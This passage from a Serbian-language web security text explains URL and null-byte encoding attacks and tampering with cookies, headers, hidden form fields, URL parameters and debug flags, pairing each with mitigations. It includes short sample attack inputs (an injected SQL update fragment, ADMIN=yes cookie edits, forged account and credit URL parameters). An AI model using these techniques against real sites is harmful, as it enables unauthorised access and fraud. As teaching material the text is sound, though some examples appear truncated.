kodiranjem nultih bajtova (%00). U specijalnim slučajevima moguće je koristiti unikod karaktere. Napadi se najčešće koristite za razotkrivanje fizičkih putanja, fajlova ili informacija o operativnom sistemu, zaobilaženje provera validnosti, skraćivanje stringova predatih SQL upitima, itd. Najomiljeniji skriptovi i programski jezici za napad su: -Perl (izuzetno), -Java (File, RandomAccessFile i slične Java klase), -PHP (u zavisnosti od konfiguracije). Tehnike ublažavanja Sprečavanje napada putem nultih bajtova podrazumeva da aplikacija proveri validnost svih unetih podataka pre bilo kakvog daljeg rada na njima.
7.2.6.URL kodiranje Kod standardnih Web aplikacija transfer podataka između klijenata i servera se vrši upotrebom HTTP i HTTPS protokola. Postoje dva osnovna načina na koje server prima ulazne podatke od klijenta, podaci mogu biti preneti u HTTP zaglavlju ili mogu biti uključeni u deo upita traženog URL-a. Obe ove metode imaju odgovarajuće forme ulaznih tipova (HTTP GET ili POST). Usled ovoga, manipulacija URL-a i manipulacija formom su dve strane iste medalje. Podaci koji se dodaju URL-u moraju biti specijalno kodirani da bi se poklapali sa URL sintaksom. RFC 1738 specifikacija koja definiše URL-e (Uniform Resource Locator) i specifikacija RFC 2396 za URI (Uniform Resource Identifier) ograničavaju dozvoljene u URL i URI na podskup US-ASCII karaktera. Prema RFC 1738 specifikaciji “U URL-u se nekodiranom obliku mogu koristiti jedino alfanumerici, specijalni karakteri "$-_.+!*'()," i rezervisani karakteri, skladu sa svojom namenom”. Sa druge strane, Web aplikacije ne ograničavaju i mogu biti predstavljene bilo kojim postojećim skupom karaktera, pa čak i binarnim podacima. Ranije verzije HTML-a dopuštale su upotrebu celog ISO-8859-1 (ISO Latin-1) skupa karaktera; HTML 4.0 dozvoljavala je sve karaktere iz skupa Unikod karaktera. URL kodiranje se vrši tako što se uzima osmobitni heksadecimalni kod datog karaktera, te mu se dodaje prefiks u vidu znaka za procenat (“%”). Na primer, u USASCII skupu karaktera predstava razmaka (space) decimalnim kodom iznosi 32, a heksadecimalnim 20. Tako da je URL kodirana predstava %20. Iako neki karakteri ne moraju biti URL kodirani, svaki osmobitni kod (npr. decimalni 0-255, ili heksadecimalni 00-FF) može biti kodiran. Kontrolni karakteri iz ASCII skupa npr. nulti karakter (NULL – decimalni kod 0) može biti URL kodiran, kao što mogu biti kodirni i svi HTML entiteti i bilo koji meta karakteri koje koristi operativni sistem i baza podataka. Pošto URL kodiranje dopušta da virtualno svaki podatak bude prenesen serveru, Web aplikacija mora pri prijemu podataka da preduzme odgovarajuće
33
mere opreza. URL kodiranje može biti mehanizam za prikrivanje mnogih vrsta malicioznog koda. Cross Site Scipting primer Izvod iz script.php echo $HTTP_GET_VARS["mydata"];
Izvršeni upit baze podataka: SELECT lname, fname, phone FROM usertable WHERE lname='smith';update
Tehnike ublažavanja Bezbednosne provere treba vršiti nakon što je dekodiranje završeno. Uobičajeno je da sam Web server dekodira URL, te se ovaj problem može javiti i na samom Web serveru.
34
7.3.Manipulacija parametrima Manipulacija podacima koji se razmenjuju između browser-a i Web aplikacije bila je dugo jednostavan ali efikasan način da se aplikacija natera da radi stvari koje ne bi trebalo da budu dostupne običnom korisniku. U loše projektovanim Web aplikacijama zlonamerni korisnici mogu da menjaju sesijske tokene ili vrednosti sadržane u cookieima, pa čak i zaglavlja HTTP-a. Nijedan podatak poslat browser-u ne može se smatrati neizmenjenim u odnosu na originalni, sem u slučaju kada je kriptografski zaštićen na nivou aplikacije. Kriptografska zaštita na transportnom nivou (SSL) ni na koji način ne štiti od napada, kao što su manipulacija parametrima pri kojima se podaci pre slanja menjaju. Izmene parametara često se mogu vršiti: -cookie-ima, -poljima forme, -stringovima URL upita, -HTTP zaglavljima.
7.3.1.Manipulacija Cookie-a Cookie-ji su prioritetan metod održavanja stanja u HTTP protokolu, koji je protokol bez stanja. Takođe se koriste kao zgodan mehanizam za skladištenje korisničkih preferenci i drugih podataka uključujući i sesijske tokene. Bilo stalni ili ne-stalni, bezbedni ili ne-bezbedni cookie-ji se mogu od strane klijenta menjati i slati serveru sa URL zahtevom. Prema tome, svaki zlonamerni korisnik može izmeniti sadržaj cookie-ja u svoju korist. Postoji česta zabluda, da se ne-stalni cookie-ji ne mogu menjati, što nije tačno, pošto su alati poput Winhex-a lako dostupni. Isto tako SSL štiti cookie-je samo u tranzitu. Prostor manipulacije cookie-ja zavisi toga za šta se cookie koristi, ali obično obuhvata opseg od tokena sesija do nizova koji donose odluke o autorizaciji. (Mnogi cookie-ji su Base64 kodirani, što je šema kodiranja koja ne pruža kriptografsku zaštitu). Primer iz stvarnog života; turistički Web sajt Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
Napadač može jednostavno da izmeni parametre cookie–ja u; Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;
Tehnike ublažavanja Jedan od načina ublažavanja je da se jedan sesijski token koristi da ukazuje na podatke skladištene na serverskoj memoriji. Ovo je najpouzdaniji način na koji se obezbeđuje da su podaci pri povratku regularni; jednostavno zašto bi primali kao ulaz od strane korisnika vrednosti koje već znamo. Aplikacija proverava svojstva korisnika tako što provera korisnikov id sa odgovarajućom tabelom sesija i pokazuje na varijable
35
korisničkih podataka u kešu/bazi podataka. Ovo je najkorektnija metoda za očuvanje korisničkih preferencija putem cookie-ja. Sledeća tehnika podrazumeva izradu kopči (hooks) za detektovanje upada, koje će pregledati da li cookie-ji sadrže neke neverovatne ili nemoguće vrednosti, što bi ukazivalo na falsifikovanje. Na primer, ako je u Cookie-ju postavljen “administratorski” fleg, dok korisnička id vrednost ne ukazuje na korisnika kao člana razvojnog tima. Posledjna metoda spračavanja falsivikovanja cookie-ja, podrazumeva njihovo kriptovanje.
7.3.2.Manipulacija HTTP zaglavljima HTTP zaglavlja su kontrolne informacije koje se pri HTTP zahtevu prenose od Web klijenata do Web servera, i pri HTTP odgovoru od Web servera do Web klijenata. Primer zaglavlja iz HTTP POST zahteva: Host: www.someplace.org Pragma: no-cache Cache-Control: no-cache User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14 Referer: http://www.someplace.org/login.php Content-type: application/x-www-form-urlencoded Content-length: 49
HTTP zagljavlja najčešće koriste samo Web browser-i i Web serveri, dok većina Web aplikacija ne obraća pažnju na njih. Međutim, neki Web projektanti se opredeljuju za pregled dolaznih HTTP zaglavlja, a kako zagljavlja nastaju na klijentskoj strani, moguće je da budu izmenjenog sadržaja. Normalni Web browseri ne dopuštaju menjanje zaglavlja. Tako da će za izvođenje HTTP zahteva, napadač morati da napiše svoj program (15 linija u Perl-u ili PHP-u). Primer: Referer zagljavlje, koje šalje većina Web browsera, u opštem slučaju sadrži URL stranice od koje je zahtev potekao. Neki Web sajtovi proveravaju ovakvo zaglavlje da bi se uverili da je zahtev potekao sa neke od njihovih stranica. Veruje se da ovaj postupak sprečava napadača da, na primer, snimi Web stranice, izmeni njihovu formu i pošalje ih sa svog računara. Ovaj bezbednosni mehanizam će zakazati ako napadač uspe da izmeni Referer zaglavlje, tako da izgleda isto kao da je poteklo sa originalnog sajta. Tehnike ublažavanja Jednostavno rečeno, na zaglavlja se ne možemo osloniti bez dodatnih bezbednosnih mera. Ako je zaglavlje nastalo na serverskoj strani (cookie), ono se može
36
zaštiti kriptografski. U slučaju kada je nastalo na strani klijenta (referer) ne bi ga trebalo koristiti za donošenje bilo kakvih bezbednosnih odluka. Za više informacija o zaglavljima pogledati RFC 2616 koje definiše HTTP 1/1.
7.3.3.Manipulacija poljima HTML formi Kada korisnik napravi selekciju na HTML stranici, ta selekcija se obično smešta u vrednosti polja forme i šalje aplikaciji kao HTTP zahtev (GET ili POST). HTML može da skladišti vrednosti polja, kao skrivena (Hidden) polja. Ovakva polja browser ne prikazuje na ekranu ali ih skuplja i podnosi kao parametre.Bilo da su ova polja sa unapred zadata (padajući meniji, check box-ovi itd.), polja slobodne forme ili skrivena polja (Hidden Fields), korisnik može da ih izmanipuliše, te da podnese vrednosti po svom izboru. U većini slučajeva ovo jednostavan postupak. Stranica se snimi korišćenjem “view source” opcije, zatim snimi, te se HTML izmeni i ponovo učita u browser. Na primer, aplikacija koristi jednostavnu formu za podnošenje korisničkog imena i lozinke i podnosi ih CGI-u radi autentifikacije, preko SSL-a koristeći HTML. Neki projektanti sprečeavaju korisnika da unese predugačko korisničko ime i lozinku tako što postave vrednost polja maxlength=(integer), u nadi da će time sprečiti zlonamernog korisnika overflow bafera da unese suviše duge parametre. Međutim, zlonamerni korisnik može jednostavmo da snimi stranicu, ukloni maxlength oznaku i ponovo učita stranicu u svoj browser. Dalje su nam interesantni tipovi polja disabled, readonly i polja za unos vrednosti. Kao što je već rečeno, podaci i kod poslati klijentima ne može se usvojiti kao takav kao validni, pre provere tačnosti. Kod poslat browser-u je samo skup sugestija i nema bezbednosnu vrednost. Skrivena polja formi su projektantima jedan od najzgodnijih načina za smeštaj podataka u browser i ujedno najčešći način razmene podataka između stranica i aplikacija tipa wizard-a. Za skirvena polja važe ista pravila kao i za regularna polja. Primer: Posmatrajmo istu aplikaciju. Iza forme za logovanje može da se nađe HTML kod:
Promenom skrivene vrednosti u Y, aplikacija će se logovati kao administrator. Skrivena polja formi široko se koriste na najrazličitije načine, iako ona još uvek predstavljaju slabu tačku aplikacije. Tehnika ublažavanja Umesto upotrebe skrivenih polja, projektant aplikacije može koristiti sesijski token. Kada aplikacija treba da proveri korisničko svojstvo, ona proverava cookie sesije sa tebelom sesija, te ukazuje varijable korisničkih podataka u kešu/bazi podataka. Ovo je u mnogome pravilan način za prevazilaženje ovog problema.
37
U slučaju da se tehnika upotrebe varijabli sesije na može primeniti, pripremili i drugačiji pristup. Parovi ime/vrednost u skrivenim poljima u formi, mogu se međusobno spojiti u jedan string. Takvom stringu se dodaje i tajni ključ koji se nigde u formi ne pojavljuje. Ovakav string se naziva Outgoing Form Message. Kada se forma podnosi dolazni par ime/vrednost se ponovo spaja sa tajnim ključem u Incoming Form Message. Izračunava se MD5 digest Incoming Form Message-a. Zatim se Incoming Form Digest poredi sa Outgoing Form Digest-om (koji se podnosi sa formom) i ako se oni ne poklapaju, znači da su skrivena polja izmenjena. Da bi se digest-i poklapli parovi ime/vrednost u Incoming i Outgoing Form Message-u moraju biti sastavljeni istim redom u oba slučaja. Ova tehnika može se upotrebiti i za spečavanje falsifikovanja parametara URL-a. Prateći gore opisanu tehniku, dodatni digest parametar se može dodati stringovima URL upita.
7.3.4.URL manipulacija HTML forme mogu prenositi vrednosti unete u svoja polja koristeći jedan od HTTP metoda, GET ili POST. U slučaju GET metoda sva imena elementa formi i njihove vrednosti će se pojaviti u stringu upita sledećeg URL-a kojeg korisnik vidi u svom browseru. Falsifikovanje sa skrivenim poljima formi je dosta lako, dok je falsifikovanje sa stringovima upita još lakše. Korisnik treba samo da pogleda URL u polju za adresu svog Web browsera. Posmatrajmo sledeći primer: Web stranica dozvoljava autentifikovanom korisniku da iz polja padajućeg menija izabere jedan od njegovih ranije unetih naloga i da nalog zaduži fiksnom količinom nekih jedinica. Ovo je najčešći scenario. Korisnikov izbor se beleži klikom na submit dugme. Stranica zapravo skladišti unos u vrednost polja i podnodi je nakon submit naredbe. Naredba šalje sledeći zahtev: http://www.victim.com/example?accountnumber=12345&debitamount=1
Zlonamerni korisnik može da napravi svoj broj računa i promeni parametre na sledeći način: http://www.victim.com/example?accountnumber=67891&creditamount=999999999
Novi parametri će biti poslati aplikaciji, koja će ih dalje obraditi. Ovo izgleda trivijalno, ali se javilo kao problem u nekoliko čuvenih hakerskih napada uključujući i onaj kada su hakeri za 25$ kupili avionske karte od Sjedinjenih Država do Pariza, i odleteli da drže hakerski kongres.
38
Na žalost, ovi problemi se ne javljaju samo kod HTML formi. Skoro sva navigacija na internetu se odvija putem hiperlinkova. Kada korisnik klikne na hiperlink da bi prešao sa jednog sajta na drugi, ili da bi se kretao unutar jedne iste aplikacije, on zapravo šalje GET zahtev. Mnogi od ovih zahteva imaju stringove upita baš kao i forme. Korisnik može jednostavno da pogleda u “Address” prozor svog browser-a i da izmeni vrednosti parametara. Tehnike ublažavanja Najbolje rešenje je izbeći stavljanje parametara u stringove upita (ili skrivena polja formi). Pri slanju parametara od klijenta do servera potrebno im je dodati odgovarajući sesijski token. Sesijski tokeni imaju svoje posebne bezbednosne aspekte, što je ranije već opisano. U gore navedenom primeru, aplikacija ne bi trebalo da vrši promene računa bez prethodne provere da li korisnik povezan sa datom sesijom ima pravo da menja parametar računa “accountnumber” (broj računa). Skript koji obrađuje zaduženje na nekom računu ne sme da pretpostavi da su odluke o kontroli pristupa donesene na predhodnim stranicama aplikacije. Parametre treba obrađivati samo kada aplikacija može nezavisno od predhodnih strana da potvrdi za čega su ti parametri i da su autorizovani za dalju obradu. Međutim, još jedan oblik falsifikovanja je prisutan u primeru. Razmotrimo slučaj da se promenljiva creditamount poveća sa 1 na 999999999. Zamislite da korisnik ne falsifikuje broj računa već samo iznos. Jasno je da ovakav parametar ne bi trebao da bude prisutan u URL-u. Postoje dva razloga zašto parametar ne bi trebao da bude u URL-u (ili u formi kao skriveno polje). Gore navedeni primer ilustruje prvi razlog – korisniku se ne sme dozvoliti da postavlja vrednosti parametara. Drugi razlog je – korisniku se ne sme dozvoliti da vidi vrednosti parametara. Lozinke su dobar primer prethodnog. Korisnik ne sme da vidi ni svoju lozinkui u obliku URL, zato što neko ko stoji iza može da je vidi, a i browseri beleže posećene URL-ove u history-ju. Ako neki osetljivi parametar ne može biti izuzet i URL-a, on se mora kriptografski zaštititi. Kriptografska zaštita može se primeniti na dva načina. Bolji način je kriptovanje celog stringa upita (ili vrednosti skrivenih polja forme). Ova tehnika sprečava korisnika da vidi i da menja vrednosti parametara. Druga forma kriptografske zaštite je dodavanje dodatnog parametra čija vrednost je MD5 digest stringa upita URL-a (ili skrivenih polja forme). Više detalja o ovoj tehnici dato je u odeljku Manipulacija poljima HTML formi. Ova tehnika ne sprečava korisnika da vidi vrednost URL-a, ali sprečava njegovu izmenu.
39
7.4.Ostali načini manipulacije 7.4.1.Konfiguracija sistema Serverski softver je često kompleksan, i za njegovo pravilno konfigurisanje potrebno je dobro poznavanje kako upotrebljenih protokola tako i njihovog načina rada. Na žalost, sam softver sa svojim default konfiguracijama čini ovaj zadatak mnogo težim, pošto su ovakve konfiguracije mnogo ranjivije. Često se po default-u instaliraju razni sempl fajlovi i direktorijumi, koji mogu napadaču da pruže gotove napade, u slučaju da sempl fajlovi sadrže probleme. Dok mnogi distributeri sugerišu uklanjanje ovakvih fajlova, oni zapravo prebacuju brigu o bezbednosti procesa instalacije na leđa korisnika date aplikacije. Malo je distributera koji pokušavaju da na svoje aplikacije postave bezbedne default konfiguracije. Ovako obezbeđeni sistemi se pokazuju mnogo manje ranjivi u slučajevima uobičajenih napada. Ako distributeri nude alate za upravljanje i obezbeđivanje procesa instalacije vašeg sofvera, ne bi bilo loše proceniti takve alate. Međutim, ovakvi alati nikada neće moći u potpunosti da zamene poznavanje sistema i načina na koji je sistem projektovan da radi. Sistemi koj se danas koriste sastoje se od više softverskih nivoa, tako da sistem može biti izložen napadu sa strana koje je teško ili nemoguće predvideti. Upravljanje konfiguracijom ma koliko bilo bitno, i dalje je je teško za pravilnu upotrebu. Kako se konfiguracije i faktori u okruženju menjaju u toku vremena, sistem koji je nekada bio dobro zaštićen, može u postati slaba karika sistema bez ikakvih indikacija o povećanom riziku. Organizacije moraju prihvatiti da je upravljanje konfiguracijom stalan proces, te da se ne može jednom uraditi i tako ostaviti. Efikasno upravljanje konfiguracijom je prvi u postavljanju preduslova koji će omogućiti pouzdan rad sistema i u slučaju višestrukih napada.
7.4.2.Komentari u HTML Komentari koji se nalaze u izvornim kodovima čine kod čitljivijim i pomažu programerima pri procesu dokumentacije. Praksa stavljanja komentara nastavljena je i pri projektovanju HTML stranica, koje se šalju klijentovom browser-u. Kao posledica, informacije o strukturi Web sajta ili informacije namenjenih vlasnicima sistema ili članovima razvojnog tima, mogu nepažnjom biti otkrivene. Komentari nekad potiču iz razvojne faze HTML-a i mogu sadržavati informacije o otklanjanju grešaka, strukturama cookie-ja, problemima vezanim za razvoj, pa čak i imena članova razvojnog tima, sa email-ovima i telefonskim brojevima. Strukturni komentari – se javljaju u HTML kodu, obično na početku stranice ili između JavaScript-a i ostatka HTML-a, pogotovo kada je na razvoju sajta radio veći tim duže vreme. 40
Automatski komentari – mnoge alatke za generisanje stranica, kao i Web softver često u HTML automatski dodaju komentare u vidu potpisa. Ovakvi kometari obaveštavaju napadača o konkretnim sofverskim paketima () koji se koriste na sajtu. Ranjivosti poznate za pronađene pakete tada se mogu isprobati i na samom sajtu. Nestrukturni kometari – su oni koje ostavljaju programeri za podsećanje za vreme razvoja aplikacije. Kako ovakvi komentari nisu ni na koji način kontrolisani, oni predstvaljaju veliku opasnost. Komentari kao što su “Sledeće skriveno polje mora biti postavljeno na 1 ili se XYZ.asp raspada” ili “Ne menjati raspored polja u tabeli” su za potencijalnog napadača znak da obrati pažnju. Na žalost, ovakvi komentari nisu retkost. Tehnike ublažavanja Za većinu komentara biće dovoljan jednostavan filter, koji skida komentare pre nego što je stranica predata serveru. Za automatske komentare verovatno je potreban aktivni filter.
7.4.3.Stari, bekapovani i fajlovi bez reference Numerisanje fajlova/aplikacija je opšta tehnika koja se koristi u potrazi za fajlvima ili aplikacija koje se mogu upotrebiti ili biti korisne za konstrisanje napada. Ovo uključuje poznate ranjive fajlove i aplikacije, nereferisani fajlovi aplikacije, kao i bekap temp fajlovi. Numeracija fajlova/aplikacija koristi kodove odgovora HTTP servera da bi ustanovili da li fajl ili aplikacija postoje. Web server će vratiti HTTP 200 kod ako fajl postoji i HTTP 404 kod ako dati fajl ne postoji. Ovo omogućuje korisniku da napravi svoju listu poznatih ranjivih fajlova i sumnjivih aplikacija, ili nekom osnovnom logikom mapira fajlove i strukturu aplikacije vidljivu sa nivoa prezentacije. Skriveni/nereferisani fajlovi – mnogi administratori Web sajtova na serveri ostavljaju fajlove kao što su semlp faljovi ili fajlovi koji se instaliraju po default-u. Kada se Web sadržaj objavi, ovi fajlovi ostaju dostupni iako nijedan HTML na Web-u ne upućuje (referiše) na njih. Mnogi od ovih fajlova su zastrašujuće opasni, i mogu pokazivati kako se, na primer, fajlovi upotrebom Web interfejsa uploauduju. Ako je napadač u stanju da pogodi takav URL, on automatski ima pristup takvom resursu. Tehnike ublažavanja Uklonite sve sempl fajlove sa vašeg Web servera. Postarajte se da su svi neželjeni i nepotrebni fajlovi budu uklonjeni. Jednostavna pretraga za fajlovima određenih ekstenzija koje nisu eksplicitno dozvoljene može biti veoma efikasna.
41
Neki Web serveri/aplikacije koje izrađuju dinamičke stranice neće poslati 404 poruku browser-u, već će umesto nje učitati stranicu kao što je mapa sajta, na primer. Ovo zbunjuje osnovne skenere, tako da pomisle da traženi fajl postoji. Moderne skenere ranjivosti, međutim ova tehnika samo usporava.
7.4.4.Debug naredbe Debug naredbe se javljaju u dve odvojene forme. Eksplicitne naredbe – koje se nalaze u kodu ili se mogu uvesti kao deo URL-a, koji ukazuje serveru da pređe u debug mod. Naredbe kao “debug=on” ili “Debug=YES” mogu se naći u URL-u na sledeći način: http://www.someWebsite.com/account_check?ID=8327dsddi8qjgqllkjdlas&Disp=no
,
i izmeniti u: http://www.someWebsite.com/account_check?debug=on&ID=8327dsddi8qjgqllkjdlas&Disp
Napadač dalje posmatra ponašanje servera. Debug konstrukcija se može naći unutar HTML koda ili JavaScript-a kada se forma vraća serveru jednostavnim dodavanjem linijskog elementa u konstrukciju forme. Rezultat je isti kao u slučaju predhodnog napada. Implicitne naredbe – naizgled bezopasni elementi stranice, u slučaju izmene mogu imati nesagledive posledice po server. Osnovna namena ovakvih elemenata je bila da pomogne programeru pri modifikovanju sistema kroz različita stanja da bi se vreme potrebno za testiranje skratilo. Ovim elementima su po pravilu data nejasna imena, kao što su “fubarl” ili “mycheck” itd. Ovakvi elementi se u kodu mogu pojaviti kao:
